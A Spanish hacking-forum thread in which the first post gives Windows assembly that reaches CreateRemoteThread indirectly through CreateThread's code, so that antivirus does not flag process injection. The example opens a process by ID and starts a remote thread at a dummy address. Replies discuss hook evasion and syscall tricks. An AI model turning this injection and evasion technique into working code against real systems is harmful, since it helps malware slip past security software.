inyeccion dll "sin" CreateRemoteThread.

Iniciado por bizco, 15 Mayo 2010, 07:20 AM

0 Miembros y 1 Visitante están viendo este tema.

bizco

El ejemplo no injectara ninguna dll, simplemente el proceso victima intentara ejecutar una direccion invalida y se cerrara, el que quiera meter una dll que haga el las modificaciones a su gusto.

Siempre esta el problema de querer usar CreateRemoteThread en una aplicacion (no malware precisamente) y los antivirus suelen marcar ya el programa como peligroso. ahora bien, CreateThread no es detectado como algo peligroso, pero ¿quien es realmente CreateThread?. Esta funcion es un wrapper, alias o como quieras llamarlo de CreateRemoteThread, aceptando 1 parametro menos ya que si se desensambla la funcion se ve claramente que dentro de esta marca el handle del proceso a -1, o lo que es lo mismo a el proceso que a llamado a la funcion. La cosa es simple, necesitamos un puntero a CreateThread y buscar el call a CreateRemoteThread dentro de la funcion, meter los parametros de la funcion en la pila y hacer un jmp a dicho call. de este modo se a injectado la dll "sin" tener que usar la maldita funcion.

El codigo es una chorrada, es expresamente para poner un ejemplo de la idea en codigo. a la hora de usarlo en una aplicacion real se tienen que tener algunas cosas en cuenta.


format PE GUI 4.0

entry Main

include 'win32a.inc'

section '.data' data readable writeable

cPtr    dd 0

section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
       user32,'USER32.DLL'

include 'api\kernel32.inc'
include 'api\user32.inc'

section '.text' code  readable writeable executable

Main:
    push 0
    push 0
    push 0
    push InjectaDll
    push 0
    push 0
    call [CreateThread]
    push 6h            ;Esto es solo para la prueba.
    call [Sleep]
    push 0
    call [ExitProcess]


proc InjectaDll
    push edi
    mov eax,0E8h
    mov edi,dword [CreateThread]
S:
    repne scasb
    jnz S
    dec edi
    mov [cPtr],edi
    pop edi
    push 3532      ;Process Id
    push 1
    push PROCESS_ALL_ACCESS
    call [OpenProcess]
    or eax,eax
    jz Fin
    push 0
    push 0
    push 0
    push 41414141h
    push 0
    push 0
    push eax
    jmp [cPtr]  ;CreateRemoteThread
Fin:
    ; En caso de error
endp


Karcrack


[Zero]

Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

[L]ord [R]NA

Cita de: Hacker_Zero en 15 Mayo 2010, 15:17 PM
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

:xD esto no se parece en nada al metodo que vas a utilizar.

Karcrack

Cita de: Lord R.N.A. en 15 Mayo 2010, 16:53 PM
:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD

[Zero]

Cita de: Lord R.N.A. en 15 Mayo 2010, 16:53 PM
Cita de: Hacker_Zero en 15 Mayo 2010, 15:17 PM
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

:xD esto no se parece en nada al metodo que vas a utilizar.

Lo cambié  :P. Aunque el otro día se me ocurrió como saltarmelo como si nada, pero ya idee otro plan que aún no puse en práctica...

Bueno, basicamente utilizo la int 2Eh para hacer algunas cosas y luego que me permitan hacer otras, y luego un chisme hacindo cosas, ni digo más hasta que lo publique  :xD.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

[L]ord [R]NA

Cita de: Karcrack en 15 Mayo 2010, 18:10 PM
Cita de: Lord R.N.A. en 15 Mayo 2010, 16:53 PM
:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD

xD hace semanas que postee mi renuncia... antes del ban

ker0sene

También se puede buscar la dirección relativa de CreateRemoteThread en la tabla de exportaciones de kernel32.dll
Lo que es bueno y lo que es malo, eso no lo sabe todavía nadie

bizco

#8
si, pero la finalidad es no hacer referencia alguna en el codigo a esta funcion y hacerlo facil. se puede crear un thread en otro proceso sin pasar por esta funcion en ningun momento.